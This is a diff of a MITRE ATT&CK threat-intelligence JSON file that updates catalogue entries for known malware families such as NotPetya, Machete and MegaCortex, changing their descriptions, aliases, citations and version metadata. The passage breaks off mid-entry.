"2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -249500,8 +293396,9 @@ "url": "https://attack.mitre.org/software/S0362" }, { - "source_name": "Linux Rabbit", - "description": "(Citation: Anomali Linux Rabbit 2018)" + "source_name": "anomali-linux-rabbit", + "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat", + "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020." }, { "source_name": "Anomali Linux Rabbit 2018", @@ -249513,7 +293410,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T16:57:31.004Z", + "modified": "2020-12-22T15:46:17.965Z", "created": "2019-03-04T17:12:37.586Z", "x_mitre_platforms": [ "Linux" @@ -249642,6 +293539,54 @@ "Windows" ] }, + { + "created": "2021-03-01T14:07:36.692Z", + "modified": "2021-04-26T13:29:32.449Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", + "name": "LookBack", + "description": "[LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0582", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0582" + }, + { + "source_name": "LookBack", + "description": "(Citation: Proofpoint LookBack Malware Aug 2019)" + }, + { + "source_name": "Proofpoint LookBack Malware Aug 2019", + "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", + "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021." + }, + { + "source_name": "Dragos TALONITE", + "url": "https://www.dragos.com/threat/talonite/", + "description": "Dragos. (null). TALONITE. Retrieved February 25, 2021." + }, + { + "source_name": "Dragos Threat Report 2020", + "url": "https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770", + "description": "Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "LookBack" + ], + "x_mitre_version": "1.0" + }, { "id": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "name": "LoudMiner", @@ -249677,6 +293622,43 @@ ], "x_mitre_version": "1.1" }, + { + "external_references": [ + { + "external_id": "S0532", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0532" + }, + { + "source_name": "Unit 42 Lucifer June 2020", + "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", + "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Lucifer", + "description": "[Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)", + "id": "malware--54a73038-1937-4d71-a253-316e76d5413c", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-03-17T15:53:21.249Z", + "created": "2020-11-16T18:40:34.473Z", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ], + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Lucifer" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -249828,13 +293810,6 @@ "x_mitre_version": "1.1" }, { - "id": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", - "name": "Machete", - "description": "[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "external_id": "S0409", @@ -249845,6 +293820,10 @@ "source_name": "Machete", "description": "(Citation: Securelist Machete Aug 2014)" }, + { + "source_name": "Pyark", + "description": "(Citation: 360 Machete Sep 2020)" + }, { "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", @@ -249854,30 +293833,43 @@ "source_name": "Securelist Machete Aug 2014", "url": "https://securelist.com/el-machete/66108/", "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset used by [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines that was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: 360 Machete Sep 2020)", + "name": "Machete", + "id": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "type": "malware", "labels": [ "malware" ], - "modified": "2020-09-22T16:56:50.734Z", + "modified": "2021-04-12T03:16:03.258Z", "created": "2019-09-13T13:17:25.718Z", - "x_mitre_contributors": [ - "Matias Nicolas Porolli, ESET" + "x_mitre_version": "2.0", + "x_mitre_aliases": [ + "Machete", + "Pyark" ], "x_mitre_platforms": [ "Windows" ], - "x_mitre_aliases": [ - "Machete" - ], - "x_mitre_version": "1.2" + "x_mitre_contributors": [ + "Matias Nicolas Porolli, ESET" + ] }, { "id": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Matroyshka", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", + "name": "Matryoshka", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", "external_references": [ { "source_name": "mitre-attack", @@ -249885,7 +293877,7 @@ "external_id": "S0167" }, { - "source_name": "Matroyshka", + "source_name": "Matryoshka", "description": "(Citation: ClearSky Wilted Tulip July 2017)" }, { @@ -249906,15 +293898,15 @@ "labels": [ "malware" ], - "modified": "2020-03-30T17:02:21.114Z", + "modified": "2021-04-23T20:13:32.050Z", "created": "2018-01-16T16:13:52.465Z", "x_mitre_platforms": [ "Windows" ], "x_mitre_aliases": [ - "Matroyshka" + "Matryoshka" ], - "x_mitre_version": "1.1" + "x_mitre_version": "2.0" }, { "id": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", @@ -249998,6 +293990,84 @@ "Windows" ] }, + { + "created": "2021-02-17T20:27:27.222Z", + "modified": "2021-04-26T13:39:41.601Z", + "labels": [ + "malware" + ], + "type": "malware", + "external_references": [ + { + "external_id": "S0576", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0576" + }, + { + "source_name": "IBM MegaCortex", + "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/", + "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021." + }, + { + "source_name": "FireEye Ransomware Disrupt Industrial Production", + "url": "https://www.fireeye.com/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html", + "description": "Zafra, D. Lunden, K. Brubaker, N. Kennelly, J.. (2020, February 24). Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT. Retrieved February 9, 2021." + }, + { + "source_name": "FireEye Financial Actors Moving into OT", + "url": "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "description": "Brubaker, N. Zafra, D. K. Lunden, K. Proska, K. Hildebrandt, C.. (2020, July 15). Financially Motivated Actors Are Expanding Access Into OT: Analysis of Kill Lists That Include OT Processes Used With Seven Malware Families. Retrieved February 15, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "MegaCortex", + "description": "[MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)", + "id": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "MegaCortex" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, + { + "external_references": [ + { + "external_id": "S0530", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0530" + }, + { + "source_name": "Securelist Brazilian Banking Malware July 2020", + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Melcoz](https://attack.mitre.org/software/S0530) is a banking trojan family built from the open source tool Remote Access PC. [Melcoz](https://attack.mitre.org/software/S0530) was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.(Citation: Securelist Brazilian Banking Malware July 2020)", + "name": "Melcoz", + "id": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2020-12-22T21:20:18.142Z", + "created": "2020-11-10T20:24:50.464Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Melcoz" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "external_references": [ { @@ -250332,6 +294402,44 @@ "modified": "2018-10-17T00:14:20.652Z", "created": "2017-05-31T21:32:53.681Z" }, + { + "created": "2020-12-28T22:09:15.461Z", + "modified": "2021-04-27T02:20:58.446Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--8a59f456-79a0-4151-9f56-9b1a67332af2", + "description": "[MoleNet](https://attack.mitre.org/software/S0553) is a downloader tool with backdoor capabilities that has been observed in use since at least 2019.(Citation: Cybereason Molerats Dec 2020)", + "name": "MoleNet", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0553", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0553" + }, + { + "source_name": "MoleNet", + "description": "(Citation: Cybereason Molerats Dec 2020)" + }, + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "MoleNet" + ], + "x_mitre_version": "1.0" + }, { "id": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -250378,7 +294486,11 @@ }, { "source_name": "More_eggs", - "description": "(Citation: Talos Cobalt Group July 2018)" + "description": "(Citation: Talos Cobalt Group July 2018)(Citation: ESET EvilNum July 2020)" + }, + { + "source_name": "SKID", + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" }, { "source_name": "Terra Loader", @@ -250398,6 +294510,16 @@ "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", "source_name": "Security Intelligence More Eggs Aug 2019" }, + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + }, { "description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", @@ -250412,14 +294534,15 @@ "labels": [ "malware" ], - "modified": "2020-03-30T17:06:07.337Z", + "modified": "2021-04-23T19:15:17.339Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_contributors": [ "Drew Church, Splunk" ], - "x_mitre_version": "2.1", + "x_mitre_version": "3.0", "x_mitre_aliases": [ "More_eggs", + "SKID", "Terra Loader", "SpicyOmelette" ], @@ -250538,10 +294661,9 @@ "x_mitre_version": "1.1" }, { - "id": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "NETWIRE", - "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -250568,22 +294690,28 @@ "url": "https://www.brighttalk.com/webcast/10703/275683" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)", + "name": "NETWIRE", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "type": "malware", "labels": [ "malware" ], - "modified": "2020-10-21T18:42:49.250Z", + "modified": "2021-04-25T23:47:00.562Z", "created": "2018-04-18T17:59:24.739Z", - "x_mitre_platforms": [ - "Windows" - ], + "x_mitre_version": "1.3", "x_mitre_aliases": [ "NETWIRE" ], - "x_mitre_version": "1.2" + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ] }, { "external_references": [ @@ -250649,27 +294777,27 @@ "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_version": "1.0", - "x_mitre_aliases": [ - "Naid" - ], - "x_mitre_platforms": [ - "Windows" - ], "type": "malware", "labels": [ "malware" ], - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z" + "modified": "2021-01-06T19:32:28.371Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Naid" + ], + "x_mitre_version": "1.0" }, { "id": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", @@ -250821,9 +294949,9 @@ "description": "(Citation: Symantec Nerex May 2012)" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Nerex May 2012", @@ -250834,19 +294962,19 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_version": "1.0", - "x_mitre_aliases": [ - "Nerex" - ], - "x_mitre_platforms": [ - "Windows" - ], "type": "malware", "labels": [ "malware" ], - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z" + "modified": "2021-01-06T19:32:28.182Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Nerex" + ], + "x_mitre_version": "1.0" }, { "id": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", @@ -250862,7 +294990,7 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "object_marking_refs": [ @@ -250872,7 +295000,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T17:11:08.175Z", + "modified": "2021-04-21T16:41:34.225Z", "created": "2017-05-31T21:32:38.851Z", "x_mitre_platforms": [ "Windows" @@ -251034,19 +295162,6 @@ "x_mitre_version": "1.1" }, { - "created": "2019-03-26T15:02:14.907Z", - "modified": "2020-06-18T20:27:49.511Z", - "labels": [ - "malware" - ], - "type": "malware", - "id": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", - "description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)", - "name": "NotPetya", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "external_id": "S0368", @@ -251087,11 +295202,27 @@ "source_name": "ESET Telebots June 2017", "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "x_mitre_platforms": [ - "Windows" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "NotPetya", + "description": "[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", + "id": "malware--5719af9d-6b16-46f9-9b28-fb019541ddbb", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-23T19:31:47.185Z", + "created": "2019-03-26T15:02:14.907Z", + "x_mitre_version": "2.0", "x_mitre_aliases": [ "NotPetya", "ExPetr", @@ -251100,7 +295231,9 @@ "Petrwrap", "Nyetya" ], - "x_mitre_version": "1.2" + "x_mitre_platforms": [ + "Windows" + ] }, { "id": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", @@ -251237,7 +295370,7 @@ { "id": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "name": "OSX_OCEANLOTUS.D", - "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor with several variants that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" @@ -251252,25 +295385,35 @@ "source_name": "OSX_OCEANLOTUS.D", "description": "(Citation: TrendMicro MacOS April 2018)" }, + { + "source_name": "Backdoor.MacOS.OCEANLOTUS.F", + "description": "(Citation: Trend Micro MacOS Backdoor November 2020)" + }, { "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/", "source_name": "TrendMicro MacOS April 2018" + }, + { + "source_name": "Trend Micro MacOS Backdoor November 2020", + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020." } ], "type": "malware", "labels": [ "malware" ], - "modified": "2020-06-23T20:11:11.730Z", + "modified": "2020-12-02T15:04:45.553Z", "created": "2019-01-30T19:18:19.667Z", "x_mitre_platforms": [ "macOS" ], "x_mitre_aliases": [ - "OSX_OCEANLOTUS.D" + "OSX_OCEANLOTUS.D", + "Backdoor.MacOS.OCEANLOTUS.F" ], - "x_mitre_version": "1.2" + "x_mitre_version": "2.0" }, { "id": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", @@ -251387,7 +295530,7 @@ }, { "id": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", - "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018) ", + "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020) ", "name": "Olympic Destroyer", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -251400,16 +295543,21 @@ "url": "https://attack.mitre.org/software/S0365" }, { - "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", - "source_name": "Talos Olympic Destroyer 2018" + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], "type": "malware", "labels": [ "malware" ], - "modified": "2020-03-25T17:57:57.273Z", + "modified": "2021-04-23T19:32:38.936Z", "created": "2019-03-25T14:07:22.547Z", "x_mitre_platforms": [ "Windows" @@ -251417,7 +295565,7 @@ "x_mitre_aliases": [ "Olympic Destroyer" ], - "x_mitre_version": "1.2" + "x_mitre_version": "2.0" }, { "id": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", @@ -251515,14 +295663,14 @@ "description": "(Citation: FireEye Periscope March 2018)" }, { - "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", - "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + "source_name": "Proofpoint Leviathan Oct 2017" }, { - "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", - "source_name": "FireEye Periscope March 2018" + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" } ], "description": "[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", @@ -251533,7 +295681,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T17:13:56.470Z", + "modified": "2021-02-09T15:04:49.088Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_version": "2.1", "x_mitre_aliases": [ @@ -251578,6 +295726,51 @@ ], "x_mitre_version": "1.1" }, + { + "external_references": [ + { + "external_id": "S0598", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0598" + }, + { + "source_name": "Fobushell", + "description": "(Citation: NCCIC AR-17-20045 February 2017)" + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." + }, + { + "source_name": "NCCIC AR-17-20045 February 2017", + "url": 